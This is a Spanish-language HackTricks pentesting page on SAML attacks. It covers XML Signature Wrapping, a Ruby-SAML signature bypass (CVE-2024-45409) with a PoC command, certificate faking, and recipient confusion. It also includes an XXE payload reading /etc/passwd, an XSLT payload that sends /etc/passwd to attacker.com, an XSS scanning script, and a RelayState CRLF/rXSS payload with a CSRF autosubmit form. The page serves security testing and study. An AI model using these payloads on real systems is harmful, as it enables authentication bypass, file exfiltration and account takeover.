SAML Ataques

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

Información básica

SAML Basics

Herramienta

SAMLExtractor: Una herramienta que puede tomar una URL o una lista de URLs y devuelve la URL de consumo SAML.

XML ida y vuelta

En XML la parte firmada del XML se guarda en memoria, luego se realiza alguna codificación/decodificación y se verifica la firma. Idealmente esa codificación/decodificación no debería cambiar los datos pero, basado en ese escenario, los datos que se comprueban y los datos originales podrían no ser los mismos.

Por ejemplo, comprueba el siguiente código:

require 'rexml/document'

doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]]>
</X>
XML

puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name

Ejecutar el programa contra REXML 3.2.4 o versiones anteriores produciría la siguiente salida en su lugar:

First child in original doc: Y
First child after round-trip: Z

This is how REXML saw the original XML document from the program above:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

And this is how it saw it after a round of parsing and serialization:

https://mattermost.com/blog/securing-xml-implementations-across-the-web/

For more information about the vulnerability and how to abuse it:

XML Signature Wrapping Attacks

In XML Signature Wrapping attacks (XSW), adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: signature validation and function invocation. These attacks involve altering the XML document structure. Specifically, the attacker injects forged elements that do not compromise the XML Signature’s validity. This manipulation aims to create a discrepancy between the elements analyzed by the application logic and those checked by the signature verification module. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the fraudulent elements. Consequently, the attacker effectively bypasses the XML Signature’s integrity protection and origin authentication, enabling the injection of arbitrary content without detection.

The following attacks ara based on this blog post y this paper. So check those for further details.

XSW #1

  • Estrategia: A new root element containing the signature is added.
  • Implicación: The validator may get confused between the legitimate “Response -> Assertion -> Subject” and the attacker’s “evil new Response -> Assertion -> Subject”, leading to data integrity issues.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg

XSW #2

  • Diferencia con XSW #1: Utilizes a detached signature instead of an enveloping signature.
  • Implicación: The “evil” structure, similar to XSW #1, aims to deceive the business logic post integrity check.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg

XSW #3

  • Estrategia: An evil Assertion is crafted at the same hierarchical level as the original assertion.
  • Implicación: Intends to confuse the business logic into using the malicious data.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg

XSW #4

  • Diferencia con XSW #3: The original Assertion becomes a child of the duplicated (evil) Assertion.
  • Implicación: Similar to XSW #3 but alters the XML structure more aggressively.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg

XSW #5

  • Aspecto único: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
  • Implicación: The copied Assertion envelopes the Signature, modifying the expected document structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg

XSW #6

  • Estrategia: Similar location insertion as XSW #4 and #5, but with a twist.
  • Implicación: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-6.svg

XSW #7

  • Estrategia: An Extensions element is inserted with the copied Assertion as a child.
  • Implicación: This exploits the less restrictive schema of the Extensions element to bypass schema validation countermeasures, especially in libraries like OpenSAML.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-7.svg

XSW #8

  • Diferencia con XSW #7: Utilizes another less restrictive XML element for a variant of the attack.
  • Implicación: The original Assertion becomes a child of the less restrictive element, reversing the structure used in XSW #7.

https://epi052.gitlab.io/notes-to-self/img/saml/xsw-8.svg

Tool

You can use the Burp extension SAML Raider to parse the request, apply any XSW attack you choose, and launch it.

Ruby-SAML signature verification bypass (CVE-2024-45409)

Impact: If the Service Provider uses vulnerable Ruby-SAML (ex. GitLab SAML SSO), an attacker who can obtain any IdP-signed SAMLResponse can forge a new assertion and authenticate as arbitrary users.

Flujo de alto nivel (bypass estilo signature-wrapping):

  1. Captura una legítima SAMLResponse en el POST SSO (Burp o devtools del navegador). Solo necesitas cualquier respuesta firmada por el IdP para el SP objetivo.
  2. Decodifica la codificación de transporte a XML crudo (orden típico): URL decode → Base64 decode → raw inflate.
  3. Usa un PoC (por ejemplo, el script de Synacktiv) para patch IDs/NameID/conditions y rewrite signature references/digests so validation still passes while the SP consumes attacker-controlled assertion fields.
  4. Vuelve a codificar el XML parcheado (raw deflate → Base64 → URL encode) y reenvíalo al SAML callback endpoint. Si tiene éxito, el SP te autentica como el usuario elegido.

Example using the Synacktiv PoC (input is the captured SAMLResponse blob):

python3 CVE-2024-45409.py -r response.url_base64 -n admin@example.com -o response_patched.url_base64

XXE

Si no sabes qué tipo de ataques son XXE, por favor lee la siguiente página:

XXE - XEE - XML External Entity

SAML Responses son deflated and base64 encoded XML documents y pueden ser susceptibles a ataques XML External Entity (XXE). Al manipular la estructura XML de la SAML Response, los atacantes pueden intentar explotar vulnerabilidades XXE. Así es como se puede visualizar tal ataque:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY    file SYSTEM "file:///etc/passwd">
<!ENTITY dtd SYSTEM "http://www.attacker.com/text.dtd" >]>
<samlp:Response ... ID="_df55c0bb940c687810b436395cf81760bb2e6a92f2" ...>
<saml:Issuer>...</saml:Issuer>
<ds:Signature ...>
<ds:SignedInfo>
<ds:CanonicalizationMethod .../>
<ds:SignatureMethod .../>
<ds:Reference URI="#_df55c0bb940c687810b436395cf81760bb2e6a92f2">...</ds:Reference>
</ds:SignedInfo>
<ds:SignatureValue>...</ds:SignatureValue>
[...]

Herramientas

También puedes usar la extensión de Burp SAML Raider para generar el POC a partir de una petición SAML para probar posibles vulnerabilidades XXE y vulnerabilidades SAML.

Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

XSLT vía SAML

Para más información sobre XSLT consulta:

XSLT Server Side Injection (Extensible Stylesheet Language Transformations)

Transformaciones de Hojas de Estilo Extensibles (XSLT) se pueden usar para transformar documentos XML a varios formatos como HTML, JSON o PDF. Es crucial señalar que las transformaciones XSLT se realizan antes de la verificación de la firma digital. Esto significa que un ataque puede tener éxito incluso sin una firma válida; una firma autofirmada o inválida es suficiente para proceder.

Aquí puedes encontrar un POC para comprobar este tipo de vulnerabilidades; en la página de hacktricks mencionada al principio de esta sección puedes encontrar payloads.

<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
...
<ds:Transforms>
<ds:Transform>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="doc">
<xsl:variable name="file" select="unparsed-text('/etc/passwd')"/>
<xsl:variable name="escaped" select="encode-for-uri($file)"/>
<xsl:variable name="attackerUrl" select="'http://attacker.com/'"/>
<xsl:variable name="exploitUrl" select="concat($attackerUrl,$escaped)"/>
<xsl:value-of select="unparsed-text($exploitUrl)"/>
</xsl:template>
</xsl:stylesheet>
</ds:Transform>
</ds:Transforms>
...
</ds:Signature>

Herramienta

También puedes usar la extensión de Burp SAML Raider para generar el POC desde una SAML request y probar posibles vulnerabilidades XSLT.

Revisa también esta charla: https://www.youtube.com/watch?v=WHn-6xHL7mI

XML Signature Exclusion

La XML Signature Exclusion observa el comportamiento de las implementaciones SAML cuando el Signature element no está presente. Si este elemento falta, signature validation may not occur, lo que lo hace vulnerable. Es posible probar esto alterando los contenidos que normalmente verifica la signature.

https://epi052.gitlab.io/notes-to-self/img/saml/signature-exclusion.svg

Herramienta

También puedes usar la extensión de Burp SAML Raider. Intercepta la SAML Response y haz clic en Remove Signatures. Al hacerlo se eliminan todos los Signature elements.

Con las firmas eliminadas, permite que la request proceda al objetivo. Si la Signature no es requerida por el Service

Certificate Faking

Certificate Faking

Certificate Faking es una técnica para comprobar si un Service Provider (SP) verifica correctamente que un SAML Message esté firmado por un trusted Identity Provider (IdP). Consiste en usar un *self-signed certificate para firmar la SAML Response o la Assertion, lo cual ayuda a evaluar el proceso de validación de confianza entre SP e IdP.

Cómo llevar a cabo Certificate Faking

Los siguientes pasos describen el proceso usando la extensión de Burp SAML Raider:

  1. Intercepta la SAML Response.
  2. Si la response contiene una signature, envía el certificado a SAML Raider Certs usando el botón Send Certificate to SAML Raider Certs.
  3. En la pestaña SAML Raider Certificates, selecciona el certificado importado y pulsa Save and Self-Sign para crear un clon self-signed del certificado original.
  4. Vuelve a la request interceptada en Burp’s Proxy. Selecciona el nuevo self-signed certificate en el desplegable XML Signature.
  5. Elimina cualquier firma existente con el botón Remove Signatures.
  6. Firma el message o la assertion con el nuevo certificado usando el botón (Re-)Sign Message o (Re-)Sign Assertion, según corresponda.
  7. Reenvía el mensaje firmado. Si la autenticación tiene éxito, indica que el SP acepta messages firmados por tu certificado self-signed, revelando posibles vulnerabilidades en el proceso de validación de los SAML messages.

Token Recipient Confusion / Service Provider Target Confusion

Token Recipient Confusion y Service Provider Target Confusion consisten en comprobar si el Service Provider valida correctamente el destinatario previsto de una response. En esencia, un Service Provider debería rechazar una authentication response si estaba destinada a otro provider. El elemento crítico aquí es el campo Recipient, ubicado dentro del elemento SubjectConfirmationData de una SAML Response. Este campo especifica una URL que indica dónde debe enviarse la Assertion. Si el destinatario real no coincide con el Service Provider previsto, la Assertion debería considerarse inválida.

Cómo funciona

Para que un ataque SAML Token Recipient Confusion (SAML-TRC) sea factible, deben cumplirse ciertas condiciones. En primer lugar, debe existir una cuenta válida en un Service Provider (denominado SP-Legit). En segundo lugar, el Service Provider objetivo (SP-Target) debe aceptar tokens del mismo Identity Provider que sirve a SP-Legit.

El proceso de ataque es sencillo bajo estas condiciones. Se inicia una sesión auténtica con SP-Legit a través del Identity Provider compartido. Se intercepta la SAML Response del Identity Provider hacia SP-Legit. Esta SAML Response interceptada, originalmente destinada a SP-Legit, se redirige entonces a SP-Target. El éxito del ataque se mide por la aceptación de la Assertion por parte de SP-Target, lo que otorga acceso a recursos bajo el mismo nombre de cuenta usado en SP-Legit.

# Example to simulate interception and redirection of SAML Response
def intercept_and_redirect_saml_response(saml_response, sp_target_url):
"""
Simulate the interception of a SAML Response intended for SP-Legit and its redirection to SP-Target.

Args:
- saml_response: The SAML Response intercepted (in string format).
- sp_target_url: The URL of the SP-Target to which the SAML Response is redirected.

Returns:
- status: Success or failure message.
"""
# This is a simplified representation. In a real scenario, additional steps for handling the SAML Response would be required.
try:
# Code to send the SAML Response to SP-Target would go here
return "SAML Response successfully redirected to SP-Target."
except Exception as e:
return f"Failed to redirect SAML Response: {e}"

XSS en la funcionalidad de logout

La investigación original puede consultarse a través de this link.

Durante el proceso de directory brute forcing, se descubrió una página de logout en:

https://carbon-prototype.uberinternal.com:443/oidauth/logout

Al acceder a este enlace, se produjo una redirección a:

https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1

Esto reveló que el parámetro base acepta una URL. Teniendo esto en cuenta, surgió la idea de sustituir la URL por javascript:alert(123); en un intento de iniciar un ataque XSS (Cross-Site Scripting).

Explotación masiva

From this research:

La herramienta SAMLExtractor se utilizó para analizar subdominios de uberinternal.com en busca de dominios que utilicen la misma biblioteca. Posteriormente se desarrolló un script para apuntar a la página oidauth/prompt. Este script prueba XSS (Cross-Site Scripting) introduciendo datos y comprobando si se reflejan en la salida. En los casos en que la entrada efectivamente se refleja, el script marca la página como vulnerable.

import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
from colorama import init ,Fore, Back, Style
init()

with open("/home/fady/uberSAMLOIDAUTH") as urlList:
for url in urlList:
url2 = url.strip().split("oidauth")[0] + "oidauth/prompt?base=javascript%3Aalert(123)%3B%2F%2FFady&return_to=%2F%3Fopenid_c%3D1520758585.42StPDwQ%3D%3D&splash_disabled=1"
request = requests.get(url2, allow_redirects=True,verify=False)
doesit = Fore.RED + "no"
if ("Fady" in request.content):
doesit = Fore.GREEN + "yes"
print(Fore.WHITE + url2)
print(Fore.WHITE + "Len : " + str(len(request.content)) + "   Vulnerable : " + doesit)

RelayState-based header/body injection to rXSS

Algunos endpoints SAML SSO decodifican RelayState y luego lo reflejan en la respuesta sin sanitización. Si puedes inyectar newlines y sobrescribir el Content-Type de la respuesta, puedes forzar al navegador a renderizar HTML controlado por el atacante, logrando reflected XSS.

  • Idea: abusa de response-splitting vía newline injection en el RelayState reflejado. Véase también las notas genéricas en CRLF injection.
  • Funciona incluso cuando RelayState se decodifica en base64 del lado del servidor: suministra un base64 que decodifica en header/body injection.

Generalized steps:

  1. Construye una secuencia de header/body injection que empiece con un newline, sobrescriba el Content-Type a HTML, y luego inyecte el payload HTML/JS:

Concept:

\n
Content-Type: text/html


<svg/onload=alert(1)>
  1. URL-encode la secuencia (ejemplo):
%0AContent-Type%3A+text%2Fhtml%0A%0A%0A%3Csvg%2Fonload%3Dalert(1)%3E
  1. Codifica en base64 esa cadena URL-encoded y colócala en RelayState.

Example base64 (from the sequence above):

DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==
  1. Envía un POST con un SAMLResponse sintácticamente válido y el RelayState manipulado al endpoint SSO (p. ej., /cgi/logout).
  2. Entrega vía CSRF: hospeda una página que autoenvíe un POST cross-origin al origen objetivo incluyendo ambos campos.

PoC contra un endpoint SSO de NetScaler (/cgi/logout):

POST /cgi/logout HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

SAMLResponse=[BASE64-Generic-SAML-Response]&RelayState=DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==

Patrón de entrega de CSRF:

<form action="https://target/cgi/logout" method="POST" id="p">
<input type="hidden" name="SAMLResponse" value="[BASE64-Generic-SAML-Response]">
<input type="hidden" name="RelayState" value="DQpDb250ZW50LVR5cGU6IHRleHQvaHRtbA0KDQoNCjxzdmcvb25sb2FkPWFsZXJ0KDEpPg==">
</form>
<script>document.getElementById('p').submit()</script>

Por qué funciona: el servidor decodifica RelayState e incorpora esto en la respuesta de una manera que permite newline injection, permitiendo al attacker influir en los headers y el body. Forzar Content-Type: text/html hace que el browser renderice el HTML controlado por el attacker desde el body de la respuesta.

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks